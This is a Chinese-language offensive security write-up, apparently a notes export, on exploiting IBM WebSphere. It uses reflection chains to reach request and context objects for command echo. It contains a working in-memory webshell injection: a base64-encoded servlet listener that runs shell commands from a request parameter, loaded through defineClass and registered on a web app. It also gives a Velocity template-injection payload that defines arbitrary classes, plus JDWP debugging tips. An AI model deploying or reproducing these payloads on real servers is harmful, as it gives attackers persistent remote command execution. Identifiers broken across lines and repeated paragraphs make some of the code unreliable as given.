{com.ibm.ws.util.objectpool.LocalThreadObjectPool}---> free = {class [Ljava.lang.Object;}---> [0] = {com.ibm.io.async.CompletedFutureWorkItem}---> future = {com.ibm.io.async.AsyncFuture}---> channel =
{com.ibm.io.async.AsyncSocketChannel}---> channelVCI =
{com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl}---> stateStore = {interface java.util.Map}---> [WCChannelLink] =
{com.ibm.ws.webcontainer.channel.WCChannelLink}---> request =
{com.ibm.ws.webcontainer.channel.WCCRequestImpl}
idea_express:Object obj0 = TargetObject;// {java.lang.ThreadLocal$ThreadLocalMap}Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr
eadLocals");// {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}Object obj2 = ((java.util.Map) obj1).get("table");// {java.lang.ThreadLocal$ThreadLocalMap$Entry}Object obj3 = java.lang.reflect.Array.get(obj2, 11);// {com.ibm.ws.util.objectpool.LocalThreadObjectPool}Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val
ue");// {class [Ljava.lang.Object;}Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre
e");// {com.ibm.io.async.CompletedFutureWorkItem}Object obj6 = java.lang.reflect.Array.get(obj5, 0);// {com.ibm.io.async.AsyncFuture}Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure");// {com.ibm.io.async.AsyncSocketChannel}Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"cha
nnel");//
{com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl}Object obj9 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"cha
nnelVCI");// {interface java.util.Map}Object obj10 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj9,"sta
teStore");// {com.ibm.ws.webcontainer.channel.WCChannelLink}Object obj11 = ((java.util.Map) obj10).get("WCChannelLink");// {com.ibm.ws.webcontainer.channel.WCCRequestImpl}Object obj12 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj11,"re
quest");
这个是当前的
TargetObject = {com.ibm.ws.util.ThreadPool$Worker}---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}---> table = {class
[Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}---> value =
{com.ibm.ws.util.objectpool.LocalThreadObjectPool}---> free = {class [Ljava.lang.Object;}---> [0] = {com.ibm.io.async.CompletedFutureWorkItem}---> future = {com.ibm.io.async.AsyncFuture}---> firstListenerState =
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
idea_express:Object obj0 = TargetObject;// {java.lang.ThreadLocal$ThreadLocalMap}Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr
eadLocals");// {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}Object obj2 = ((java.util.Map) obj1).get("table");// {java.lang.ThreadLocal$ThreadLocalMap$Entry}Object obj3 = java.lang.reflect.Array.get(obj2, 11);// {com.ibm.ws.util.objectpool.LocalThreadObjectPool}Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val
ue");// {class [Ljava.lang.Object;}Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre
e");// {com.ibm.io.async.CompletedFutureWorkItem}Object obj6 = java.lang.reflect.Array.get(obj5, 0);// {com.ibm.io.async.AsyncFuture}Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure");//
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir
stListenerState");
Object obj0 = Thread.currentThread();
// {java.lang.ThreadLocal$ThreadLocalMap}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr
eadLocals");
// {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"tab
le");
int count = java.lang.reflect.Array.getLength(obj2);
for (int i = 0; i < count; i++) {// {java.lang.ThreadLocal$ThreadLocalMap$Entry}Object obj3 = java.lang.reflect.Array.get(obj2, i);if (obj3==null ||
!obj3.getClass().getName().contains("ThreadLocalMap$Entry") ) {continue;}// {com.ibm.ws.util.objectpool.LocalThreadObjectPool}Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val
ue");if (obj4 == null ||
!obj4.getClass().getName().contains("LocalThreadObjectPool")) {continue;}
// {class [Ljava.lang.Object;}Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre
e");Object[] free = (Object[]) obj5;for (int j = 0; j < free.length; j++) {// {com.ibm.io.async.CompletedFutureWorkItem}Object obj6 = free[j];if (obj6==null ||
!obj6.getClass().getName().contains("CompletedFutureWorkItem") )
{continue;}
// {com.ibm.io.async.AsyncFuture}Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure");//
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir
stListenerState");return obj8;}
}
3.7.5. 基于Thread.currentThread()定位context
TargetObject = {com.ibm.ws.util.ThreadPool$Worker}---> wsThreadLocals = {class [Ljava.lang.Object;}---> [16] = {com.ibm.ejs.util.FastStack}---> stack = {class [Ljava.lang.Object;}---> [1] =
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}---> config =
{com.ibm.ws.webcontainer.servlet.ServletConfigImpl}---> context =
{com.ibm.wsspi.webcontainer.facade.ServletContextFacade}---> context =
{com.ibm.ws.webcontainer.webapp.WebAppImpl}
idea_express:Object obj0 = TargetObject;// {class [Ljava.lang.Object;}Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT
hreadLocals");// {com.ibm.ejs.util.FastStack}Object obj2 = java.lang.reflect.Array.get(obj1, 16);// {class [Ljava.lang.Object;}Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta
ck");//
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}Object obj4 = java.lang.reflect.Array.get(obj3, 1);// {com.ibm.ws.webcontainer.servlet.ServletConfigImpl}Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con
fig");// {com.ibm.wsspi.webcontainer.facade.ServletContextFacade}Object obj6 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con
text");// {com.ibm.ws.webcontainer.webapp.WebAppImpl}Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con
text");
Object obj0 = Thread.currentThread();
// {class [Ljava.lang.Object;}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT
hreadLocals");
Object[] wsThreadLocals = (Object[]) obj1;
Object a;
for (int i = 0; i < wsThreadLocals.length; i++) {// {com.ibm.ejs.util.FastStack}Object obj2 = wsThreadLocals[i];if (obj2 == null ||
!obj2.getClass().getName().contains("FastStack")) {continue;}try {// {class [Ljava.lang.Object;}Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta
ck");Object[] stack = (Object[])obj3;for (int j = 0; j < stack.length; j ++) {//
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}Object obj4 = stack[j];if (obj4 == null ||
!obj4.getClass().getName().contains("WebComponentMetaDataImpl"))
{continue;}//
{com.ibm.ws.webcontainer.servlet.ServletConfigImpl}Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con
fig");//
{com.ibm.wsspi.webcontainer.facade.ServletContextFacade}Object obj6 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con
text");// {com.ibm.ws.webcontainer.webapp.WebAppImpl}Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con
text");a = obj6;}}catch (Exception ignored) {}
}
3.7.6. 定位context的全局方法
Object webContainer =getMethodByClass(Class.forName("com.ibm.ws.webcontainer.WebCont
ainer", true, classloader), "getWebContainer", new
Class[0]).invoke(null, new Object[0]);
Object requestMapper =
getFieldValue(webContainer,"requestMapper");
Object webGroup = invoke(requestMapper,"map", new Object[]
{":9080/visor_externo/*"});
Object webapp = getFieldValue(webGroup,"webApp");
3.7.7. 方案
通过 Thread.currentThread() 定位 context ,然后通过 context 获取
request,从而实现回显
根据堆栈分析,总结一下request以及response对象的生成,在7中,每个
SRTServletRequest都是基于WCCRequestImpl新建的,就会导致无法拿到一模一样的
SRTServletRequest,虽然有个缓存队列,但每次请求都会取出来,无法获取到。
AioTCPReadRequestContextImpl->(WCCRequestImpl,WCCResponseImpl)-
>getConnectionContext新建上下文,并传入之前两个变量->
(SRTServletRequest,SRTServletResponse)

3.7.8. 内存马注入
byte[] classBytes = new
BASE64Decoder().decodeBuffer("yv66vgAAADIBKwoAEACkCQBMAKUIAKYJAE
wApwgAqAgAqQoAqgCrCgAZAKwIAK0KABkArggAaQoATACvCABqBwCwCABiBwCxCg
BMALIKALMAtAcAtQsAEwC2CgBMALcHALgIAHMKAEwAuQcAuggAuwgAvAgAvQgAvg
oAvwDACgC/AMEKAMIAwwcAxAoAIQDFCADGCgAhAMcKACEAyAoAIQDJCADKCADLCA
DMCgAZAM0IAM4IAM8KABkA0AoAGQDRCADSCwAWANMLABYA1AoA1QDWCgDVANcKAN
UA2AoADgDZCADaCwATANsIANwKABkA3QgA3ggA3wcA4AoAEADhCgBFAOIKAEUA4w
oAPADkCgA8AOUHAOYKAEIApAoAQgDnBwDoCgBCAOkHAKEKAEwA6goA6wDsCgBFAO
0KAOsA5AcA7gcA7wEACXJlc3BvbnNlMQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSH
R0cFNlcnZsZXRSZXNwb25zZTsBAANwd2QBABJMamF2YS9sYW5nL1N0cmluZzsBAB
ByZXF1ZXN0RGVzdHJveWVkAQAmKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZX
N0RXZlbnQ7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYW
JsZVRhYmxlAQAEdGhpcwEAK0x0b29scy9tZW0vc2hlbGxzL2xpc3RlbmVyL3Rlc3
RDbWRMaXN0ZW5lcjsBABNzZXJ2bGV0UmVxdWVzdEV2ZW50AQAjTGphdmF4L3Nlcn
ZsZXQvU2VydmxldFJlcXVlc3RFdmVudDsBAAY8aW5pdD4BAAMoKVYBAAVpc1dpbg
EAAygpWgEABm9zbmFtZQEADVN0YWNrTWFwVGFibGUHALoBAAtnZXRSZXNwb25zZQ
EAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIcmVxdW
VzdDIBABJMamF2YS9sYW5nL09iamVjdDsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy
9FeGNlcHRpb247AQABZQEAB3JlcXVlc3QBAAhyZXNwb25zZQcAsQcAsAcAsAEAEn
JlcXVlc3RJbml0aWFsaXplZAEAAWMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW
4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANjbWQBAAFzAQATTGphdmEvdXRpbC
9TY2FubmVyOwEAA291dAEACWhlYWRlck91dAEAJ0xqYXZheC9zZXJ2bGV0L2h0dH
AvSHR0cFNlcnZsZXRSZXF1ZXN0OwcA7gcA8AcAtQcAuAcA8QcAcAcAxAEABWNoZW
NrAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYX
ZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspWgEABWZsYWdzAQ
ANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1
N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyNgEABm1ldGhvZAEAGkxqYX
ZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQACY3MBABFMamF2YS9sYW5nL0NsYXNzOw
EAA29iagEACWZpZWxkTmFtZQEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbG
Q7BwDgBwDyBwDoAQAKRXhjZXB0aW9ucwEABmludm9rZQEASyhMamF2YS9sYW5nL0
9iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYX
ZhL2xhbmcvT2JqZWN0OwEAAm8xAQABaQEAAUkBAAdjbGFzc2VzAQAVTGphdmEvdX
RpbC9BcnJheUxpc3Q7AQAEdmFyNwEACm1ldGhvZE5hbWUBAApwYXJhbWV0ZXJzAQ
ATW0xqYXZhL2xhbmcvT2JqZWN0OwcA5gcAnAEAEGdldE1ldGhvZEJ5Q2xhc3MBAF
EoTGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy
9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABJbTGphdmEvbGFuZy
9DbGFzczsBAApTb3VyY2VGaWxlAQApdGVzdENtZExpc3RlbmVyLmphdmEgZnJvbS
BJbnB1dEZpbGVPYmplY3QMAFsAXAwATgBPAQAQcGFzc3dvcmRwYXNzd29yZAwAUA
BRAQADMTExAQAHb3MubmFtZQcA8wwA9AD1DAD2APcBAAN3aW4MAPgA+QwAgwCEAQ
1
ATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9PYmplY3QMAJIAkwcA8A
wA+gD7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA/A
D1DABiAGMBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQ
wAXQBeAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEACS9iaW4vYm
FzaAEAAi1jBwD9DAD+AP8MAQABAQcBAgwBAwEEAQARamF2YS91dGlsL1NjYW5uZX
IMAFsBBQEAAlxBDAEGAQcMAQgAXgwBCQD3AQAAAQABDQEAAlxyDAEKAQsBAAEKAQ
ACXG4MAQwBDQwBDgEPAQAEdGVzdAwBEAERDAESARMHARQMARUBFgwBFwBcDAEYAF
wMARkAXAEADkFjY2VwdC1FbmNvZGVkDAEaAPUBABNnemlwLCBkZWZsYXRlLCB0ZX
N0DAEbARwBABBUcmFuc2Zlci1lbmNvZGVkAQAHY2h1bmtlZAEAF2phdmEvbGFuZy
9yZWZsZWN0L0ZpZWxkDAEdAR4MAR8BIAwBIQEeDAEiASMMASQAYwEAE2phdmEvdX
RpbC9BcnJheUxpc3QMASUBHAEAD2phdmEvbGFuZy9DbGFzcwwBJgEnDACfAKAHAP
IMAJIBKAwBKQEqAQApdG9vbHMvbWVtL3NoZWxscy9saXN0ZW5lci90ZXN0Q21kTG
lzdGVuZXIBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBAC
FqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABNqYXZhL2lvL0lucH
V0U3RyZWFtAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1
N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS
9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbm
c7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWdldFNlcn
ZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA
xnZXRQYXJhbWV0ZXIBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBAB
UoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cm
luZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2
V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS
9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1
N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAARuZXh0AQAHcm
VwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYX
JTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAGbGVuZ3RoAQADKClJAQAJc3
Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAJc2V0SGVhZGVyAQAnKE
xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdG
VyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdG
VyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3
NlAQAPcHJpbnRTdGFja1RyYWNlAQAJZ2V0SGVhZGVyAQAGZXF1YWxzAQAVKExqYX
ZhL2xhbmcvT2JqZWN0OylaAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3
M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdm
EvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBAA1zZXRBY2Nlc3
NpYmxlAQAEKFopVgEAA2dldAEAA2FkZAEAB3RvQXJyYXkBACgoW0xqYXZhL2xhbm
cvT2JqZWN0OylbTGphdmEvbGFuZy9PYmplY3Q7AQA5KExqYXZhL2xhbmcvT2JqZW
N0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RG
VjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2
xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7ACEATAAQAAEATQACAAEATg
BPAAAAAQBQAFEAAAAJAAEAUgBTAAEAVAAAADUAAAACAAAAAbEAAAACAFUAAAAGAA
EAAAAVAFYAAAAWAAIAAAABAFcAWAAAAAAAAQBZAFoAAQABAFsAXAABAFQAAABQAA
IAAQAAABYqtwABKgG1AAIqEgO1AAQqEgW1AASxAAAAAgBVAAAAFgAFAAAAFgAEAB
AACQARAA8AFwAVABgAVgAAAAwAAQAAABYAVwBYAAAAAABdAF4AAQBUAAAAagACAA
IAAAAYEga4AAdMK7YACEwrEgm2AAqZAAUErAOsAAAAAwBVAAAAFgAFAAAAGwAGAB
wACwAdABQAHgAWACAAVgAAABYAAgAAABgAVwBYAAAABgASAF8AUQABAGAAAAAIAA
H8ABYHAGEACgBiAGMAAQBUAAAA1QADAAQAAAAlAUwqEgu4AAxNLBINuAAMTKcAE0
0qEg8DvQAQuAARTKcABE4rsAACAAIAEAATAA4AFAAfACIADgADAFUAAAAmAAkAAA
AkAAIAJgAJACcAEAAuABMAKAAUACoAHwAtACIAKwAjAC8AVgAAADQABQAJAAcAZA
BlAAIAIwAAAGYAZwADABQADwBoAGcAAgAAACUAaQBlAAAAAgAjAGoAZQABAGAAAA
AoAAP/ABMAAgcAawcAawABBwBs/wAOAAMHAGsHAGsHAG0AAQcAbPoAAAABAG4AUw
ABAFQAAAJWAAQACgAAAOwrtgASwAATTSwqtAAEuQAUAgDGANksuAAVwAAWTgE6BC
wSF7kAFAIAOgYZBscABLEqtgAYmQAbBr0AGVkDEhpTWQQSG1NZBRkGUzoFpwAYBr
0AGVkDEhxTWQQSHVNZBRkGUzoFuAAeGQW2AB+2ACA6BLsAIVkZBLcAIhIjtgAkOg
cZB7YAJZkACxkHtgAmpwAFEic6CBkIEigSKbYAKhIrEiy2ACo6CRkItgAtEQfQpA
ANGQgRB9C2AC46CC0SLxkJuQAwAwAtuQAxAQAZCLYAMi25ADEBALYAMy25ADEBAL
YANKcACE4ttgA1sQACABUALwDmAA4AMADjAOYADgADAFUAAABiABgAAAAzAAgANQ
AVADcAHQA/ACAAQQAqAEIALwBDADAARgA3AEcATwBJAGQASwBxAE0AgQBOAJUATw
CnAFAAsgBRALwAUwDGAFQA0QBVANoAVgDjAFoA5gBYAOcAWQDrAF4AVgAAAHoADA
BMAAMAbwBwAAUAHQDGAGoATwADACAAwwBxAHIABABkAH8AbwBwAAUAKgC5AHMAUQ
AGAIEAYgB0AHUABwCVAE4AdgBRAAgApwA8AHcAUQAJAOcABABoAGcAAwAAAOwAVw
BYAAAAAADsAFkAWgABAAgA5ABpAHgAAgBgAAAAYAAI/wAwAAcHAHkHAHoHAHsHAH
wHAH0ABwBhAAAe/wAUAAcHAHkHAHoHAHsHAHwHAH0HAH4HAGEAAPwALAcAf0EHAG
H9ACgHAGEHAGH/ACkAAwcAeQcAegcAewABBwBsBAAAAIAAgQABAFQAAACLAAMABA
AAACQrEja5ADcCAE4txgAMLRI4tgA5mgAFA6wsEjoSO7kAMAMABKwAAAADAFUAAA
AWAAUAAABhAAkAYgAWAGUAGABoACIAagBWAAAAKgAEAAAAJABXAFgAAAAAACQAaQ
B4AAEAAAAkAGoATwACAAkAGwCCAFEAAwBgAAAACQAC/AAWBwBhAQAJAIMAhAACAF
QAAAD4AAIABgAAAEIBTSrBADyZAAsqwAA8TacAKQFOKrYAPToEGQTGABwZBCu2AD
5NAToEp//xOgUZBLYAPzoEp//lLAS2AEAsKrYAQbAAAQAeACgAKwAOAAMAVQAAAD
oADgAAAG8AAgBwAAkAcQARAHMAEwB0ABkAdgAeAHgAJQB5ACgAfAArAHoALQB7AD
QAfAA3AIAAPACBAFYAAAA+AAYALQAHAIUAZwAFABMAJACGAIcAAwAZAB4AiACJAA
QAAABCAIoAZQAAAAAAQgCLAFEAAQACAEAAjACNAAIAYAAAABgABPwAEQcAjv0ABw
cAjwcAkFEHAGz5AAsAkQAAAAQAAQAOAIoAkgCTAAEAVAAAATIABAAGAAAAYLsAQl
m3AENOLMYANAM2BBUELL6iACosFQQyOgUZBcYAEC0ZBbYAPbYARFenAAwtAcAAEL
YARFeEBAGn/9UqtgA9Ky0DvQBFtgBGwABHwABHuABIOgQZBCostgBJsE4BsAABAA
AAXABdAA4AAwBVAAAAMgAMAAAAhgAIAIcADACIABYAiQAcAIoAIQCLAC4AjQA3AI
gAPQCSAFUAkwBdAJQAXgCVAFYAAABSAAgAHAAbAJQAZQAFAA8ALgCVAJYABAAIAF
UAlwCYAAMAVQAIAIYAhwAEAF4AAgCZAGcAAwAAAGAAigBlAAAAAABgAJoAUQABAA
上下文是如下获取,可以看到webcontainer里包含了所有端口上跑的context,这样就
可以很轻松跨context进行操作了。
他是以ClauseNode为基础进行递归的,从而匹配到你要的node,获取最终的
context,每级node都有一个children存储下级的node,node存储在hashTable中
AAYACbAJwAAgBgAAAAKAAF/QAPBwCdAfwAHgcAa/oACPoABf8AHwADBwBrBwBhBw
CeAAEHAGwAigCfAKAAAQBUAAAAtAADAAUAAAAjAU4qxgAeKisstgBKTgFLLQS2AE
un/+46BCq2AD9Lp//kLbAAAQAGABQAFwAOAAMAVQAAACoACgAAAJsAAgCdAAYAnw
ANAKAADwChABQApAAXAKIAGQCjAB4ApAAhAKcAVgAAADQABQAZAAUAhQBnAAQAAA
AjAIgAiQAAAAAAIwCaAFEAAQAAACMAmwChAAIAAgAhAIYAhwADAGAAAAANAAP8AA
IHAI9UBwBsCQABAKIAAAACAKM=");
java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass", new Class[]
{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
;
Class cc = (Class) defineClassMethod.invoke(new
java.security.SecureClassLoader(Thread.currentThread().getClass(
).getClassLoader()), new Object[]{classBytes, new Integer(0),
new Integer(classBytes.length)});
((WebGroupImpl)
WebContainer.getWebContainer().requestMapper.map(":9080/visor_ex
terno/*")).webApp.addLifecycleListener(((EventListener)cc.newIns
tance());
上下文是如下获取,可以看到webcontainer里包含了所有端口上跑的context,这样就
可以很轻松跨context进行操作了。
他是以ClauseNode为基础进行递归的,从而匹配到你要的node,获取最终的
context,每级node都有一个children存储下级的node,node存储在hashTable中

这里可以看到,端口的下一级就是匹配URI

URI匹配完,就到了最终的context

可以通过如下方式直接获取webgroup对象,而webapp里就存储着listener等属性,进
一步就可以注入内存马了


4. agent注入
https://xz.aliyun.com/t/9450

5. 技巧
5.1. SSTI
#set($s="");
#set($evil="b64xxxxx");
#set($evilb=$s.getClass().forName("sun.misc.BASE64Decoder").newI
nstance().decodeBuffer($evil));
#set($ReflectUtils=$s.getClass().forName("org.springframework.cg
lib.core.ReflectUtils").getDeclaredConstructor())
#set($classLoader=$s.getClass().forName("java.lang.Thread").curr
entThread().getContextClassLoader());
$ReflectUtils.setAccessible(true);
#set($ReflectUtilsObject=$ReflectUtils.newInstance());
#set($_=$ReflectUtilsObject.defineClass("Payload286011263666700"
, $evilb, $classLoader));
#set($shellServlet=$classLoader.loadClass("Payload28601126366670
0").newInstance());
5.2. 远程调试
JDK5-8
- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
JDK9 or later
- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
针对一些第三方二进制文件封装了JVM而无法通过如上跟参数开启debug的话,可通
过设置全局环境变量来实现,当然也适用于原生java.exe
set JAVA_TOOL_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
远程类加载后,可以在本地也放一个相同的类,这样就能实现同步调试
5.3. dumpclass
有时候需要dump运行时内存,有些class实在找不到jar包位置(可能是动态代理生成
的),或者内存马之类的。
找到一个现成的项目 https://github.com/hengyunabc/dumpclass ,而且支持多个
classloader场景。
如果直接java -jar调用,会因为调用的是jre,而jre没有sa-jdi.jar而报错,所以可以找
到java.exe的绝对路径,使用绝对路径,如下则可成功。
"C:\Java\jdk1.8.0_212\bin\java.exe" -jar dumpclass.jar -p 10820 com.seeyon.ctp.login.LoginHelper

